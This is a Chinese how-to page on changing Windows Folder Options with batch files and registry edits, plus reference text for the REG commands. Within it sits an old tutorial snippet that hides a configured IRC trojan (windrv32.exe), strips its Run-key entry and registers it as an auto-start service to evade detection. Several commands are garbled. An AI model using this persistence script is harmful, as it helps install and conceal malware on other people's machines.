文件夹选项怎么打开 如何用bat命令或注册表修改”文件夹选项”的内容?,bat进入文件夹

如何用bat命令或注册表修改”文件夹选项”的内容?
等我电脑上看一下对应值后,写代码给你Windows注册表编辑器版本5.00[HKEY_当前_用户\软件\微软\ Windows\当前版本\资源管理器\高级];在缩略图上显示文件图标,1勾选,0取消ShowTypeOverlay“=dword:1始终显示图标,从不显示缩略图,1勾选,0取消IconsOnly”=dword:0

文件夹选项怎么打开 如何用bat命令或注册表修改”文件夹选项”的内容?,bat进入文件夹

文章插图
【文件夹选项怎么打开 如何用bat命令或注册表修改”文件夹选项”的内容?,bat进入文件夹】如何用批处理修改文件夹选项的属性,例如隐藏、显示扩展名、显示当前文件夹路径等?(可加分)
@echooffecho.1 .设置显示扩展名\显示当前文件夹路径;2.设置不显示扩展名\不显示当前文件夹路径set/pselect=if” % select% “=” 1 “(REGaddHKCU\软件\微软\ Windows\当前版本\资源管理器\高级/vHideFileExt/tREG_ DWORD/d0/fnulREGaddHKCU\软件\微软\ Windows\当前版本\资源管理器\ CabinetState/vfullpath地址/tREG_ DWORD/d1/fnul)if” % select% “=” 2 “(REGaddHKCU\软件\微软\ Windows\当前版本\资源管理器\高级/vHideFileExt/tREG_ dwl
ate /v FullPathAddress /t REG_DWORD /d 0 /f >nul)clsecho.设置完成,刷新后生效!pause>Nul 写点东西费脑子啊,加点分吧,呵.
怎么用BAT修改文件属性?显示或更改文件属性(ATTRIB) 。ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]+设置属性 。–清除属性 。R只读文件属性 。A存档文件属性 。S系统文件属性 。H隐藏文件属性 。[drive:][path][filename]指定要处理的文件属性 。/S处理当前文件夹及其子文件夹中的匹配文件 。/D也处理文件夹 。
文件夹选项怎么打开 如何用bat命令或注册表修改”文件夹选项”的内容?,bat进入文件夹

文章插图
用批处理修改注册表选择【开始】→【运行】命令,在【运行】对话框的【打开】文本框中输入“regedit.exe”,单击【确定】按钮,运行注册表编辑器,依次打开以下键:HKEY_CURRENT_USER\Software\Policies\Microsoft\System在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行 。示例:echo REGEDIT4>iedown.regecho [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.regecho “1803”=dword:00000000>>iedown.reg以上生成REG文件.regedit /s iedown.regdel iedown.reg运行REG后删除之.还可以:写一个注册表文件,放在一个位置..然后批处理导入:@echo offregedit /s 注册表文件路径exit说明:/s是不弹出确认提示直接导入先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作,常见的是创建、修改、删除 。1.创建 创建分为两种,一种是创建子项(Subkey) 我们创建一个文件,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为”hacker”的子项 。另一种是创建一个项目名称 那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “Invader”=”Ex4rch” “Door”=C:\\WINNT\\system32\\door.exe “Autodos”=dword:02 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是”String value” door的类型是”REG SZ value” Autodos的类型是”DWORD value” 2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可 。3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “Ex4rch”=- 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的”Ex4rch”就被删除了; 我们再看看删除一个子项,我们创建一个如下的脚本: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了 。相信看到这里,.reg文件你基本已经掌握了 。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件 。samlpe1:如上面的那个例子,如想生成如下注册表文件 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “Invader”=”Ex4rch” “door”=hex:255 “Autodos”=dword:000000128 只需要这样: @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo “Invader”=”Ex4rch”>>Sample.reg @echo “door”=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo “Autodos”=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo “windsnx “=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM 这样不是更安全.怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\\Machine\]FullKey Machine 远程机器名 – 忽略当前机器的默认值 。远程机器上只有 HKLM 和 HKU 。FullKey ROOTKEY\SubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 。ValueName 所选项下的要删除的值的名称 。省略时,该项下的所有子项和值都会被删除 。/ve 删除空白值名称的值(默认) 。/va 删除该项下的所有值 。/f 不用提示就强行删除 。例如: REG DELETE HKLM\Software\MyCo\MyApp\Timeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU 删除 ZODIAC 上 MyCo 下的注册表项 MTUregedit.exe的参数 filename 导入 .reg 文件进注册表 /s 导入 .reg 文件进注册表(安静模式) /e 导出注册表文件 例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM /L:system 指定 system.dat /R:user 指定 user.dat 隐藏导入注册表信息用regedit /s 即可在DOS提示符下键入Regedit命令,将出现一个帮助屏幕 。此屏幕给出了其命令行参数及其使用方法 。语法:Regedit[/L:system][/R:user]filename1 Regedit[/L:system][/R:user]/Cfilename2 Regedit[/L:system][/R:user]/Efilename3[regpath] 其中: /L:system指定system.dat文件的存放位置 。/L:user指定user.dat文件的存放位置 。filename1指定引入注册表数据库的文件名 。/Cfilename2指定形成注册表数据库的文件名 。/Efilename3指定导出注册表文件的文件名 。regpath指定导出注册表文件的开始关键字(缺省为全部关键字) 现举几个例子说明regedit.exe在DOS下的使用方法 。【例1】将系统注册表数据库registry导出到reg1.reg文件中 。regedit/Ereg1.reg 【例2】reg1.reg形成系统注册表数据库registry(全部)中 。regedit/Creg1.reg 【例3】将reg.dat引入系统注册表数据库中(部分) 。regeditreg.dat 【例4】将CJH开始的关键字导出注册表数据库,并命名为cjh.reg 。regedit/Ecjh.regcjh 【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry 。regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat 有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了 。我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例 。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令: regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile 然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令: regedittxt.reg XP上新加的注册表操作命令ADDREG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]KeyName[\\Machine\]FullKey远程机器的机器名 – 忽略默认到当前机器 。远程机器上只有 HKLM 和 HKU 。FullKeyROOTKEY\SubKeyROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下注册表项的完整名/v所选项之下要添加的值名/ve为注册表项添加空白值名/tRegKey 数据类型[ REG_SZ| REG_MULTI_SZ| REG_DWORD_BIG_ENDIAN|REG_DWORD | REG_BINARY| REG_DWORD_LITTLE_ENDIAN |REG_NONE| REG_EXPAND_SZ ]如果忽略,则采用 REG_SZ/s指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符如果忽略,则将 “\0” 用作分隔符/d要分配给添加的注册表 ValueName 的数据/f不用提示就强行改写现有注册表项 例如:REG ADD \\ABC\HKLM\Software\MyCo添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCoREG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0 COMPAREREG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]KeyName[\\Machine\]FullKeyMachine远程机器名 – 省略当前机器的默认值远程机器上只有 HKLM 和 HKUFullKeyROOTKEY\SubKey如果没有指定 FullKey2,FullKey2 则跟 FullKey1 相同ROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下的注册表项的全名ValueName所选注册表项下的要比较的值的名称省略时,该项下的所有值都会得到比较/ve比较空白值名称的值/s比较所有子项和值Output[/oa | /od | /os | /on]省略时,只显示不同的结果/oa显示所有不同和匹配结果/od只显示不同的结果/os只显示匹配结果/on不显示结果 返回代码:0 – 成功,比较的结果相同1 – 失败2 – 成功,比较的结果不同 例如:REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp将注册表项 MyApp 下的所有值跟 SaveMyApp 比较REG COMPARE HKLM\Software\MyCo HKLM COPYREG COPY KeyName1 KeyName2 [/s] [/f]KeyName[\\Machine\]FullKeyMachine远程机器名 – 忽略当前机器的默认值远程机器上只有 HKLM 和 HKUFullKeyROOTKEY\SubKeyROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下的注册表项的全名/s复制所有子项和值/f不用提示就强行复制 例如:REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp /s将注册表项 MyApp 下的所有子项和值复制到注册表项 SaveMyAppREG COPY \\ZODIAC\HKLM\Software\MyCo HKLM DELETEREG DELETE KeyName [/v ValueName | /ve | /va] [/f]KeyName[\\Machine\]FullKeyMachine远程机器名 – 忽略当前机器的默认值远程机器上只有 HKLM 和 HKUFullKeyROOTKEY\SubKeyROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下的注册表项的全名ValueName所选项下的要删除的值的名称省略时,该项下的所有子项和值都会被删除/ve删除空白值名称的值/va删除该项下的所有值/f不用提示就强行删除 例如:REG DELETE HKLM\Software\MyCo\MyApp\Timeout删除注册表项 T LOADREG LOAD KeyName FileNameKeyNameROOTKEY\SubKey (只是本地机器的)ROOTKEY[ HKLM | HKU ]SubKey要将配置单元文件加载进的注册表项名称 。创建一个新的注册表项FileName要加载的配置单元文件名您必须使用 REG SAVE 来创建这个文件 QUERYREG QUERY KeyName [/v ValueName | /ve] [/s]KeyName[\Machine\]FullKeyMachine远程机器名 – 忽略当前机器的默认值远程机器上只有 HKLM 和 HKUFullKey格式为 ROOTKEY\SubKeyROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下的注册表项的全名/v查询特定注册表项ValueName所选项下的要查询的值的名称省略时,该项下的所有值都会得到查询/ve查询默认值或空白值名称/s查询所有子项和值 RESTOREREG RESTORE KeyName FileNameKeyNameROOTKEY\SubKey (只是本地机器)ROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey要将配置单元文件还原到的注册表项全名 。改写现有项的值和子项FileName要还原的配置单元文件名您必须使用 REG SAVE 来创建这个文件 SAVEREG SAVE KeyName FileNameKeyNameROOTKEY\SubKeyROOTKEY[ HKLM | HKCU | HKCR | HKU | HKCC ]SubKey所选 ROOTKEY 下的注册表项的全名FileName要保存的磁盘文件名 。如果没有指定路径,文件会在调用进程的当前文件夹中得到创建 UNLOADREG UNLOAD KeyNameKeyNameROOTKEY\SubKey (只是本地机器的)ROOTKEY[ HKLM | HKU ]SubKey要卸载的配置单元的注册表项名称 reg add “项” /v(value的缩写) 值 /t(type) reg_dword(默认是eg_sz) /d(data的缩写) “要插入的数据值” /f(forbiden的缩写,即强制的意思) 例如 reg add “HKLM\SYSTEM\CurrentControlSet\Control\Session” /v test /t reg_dword /d 1 /f 这句命令就是往你的注册表 HKLM\SYSTEM\CurrentControlSet\Control\Session 这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1 /f 表示在运行如果注册表里已经有这个值也不会提示你,直接修改, 如果没有这个参数的话,它会提示你是不是要修改

    推荐阅读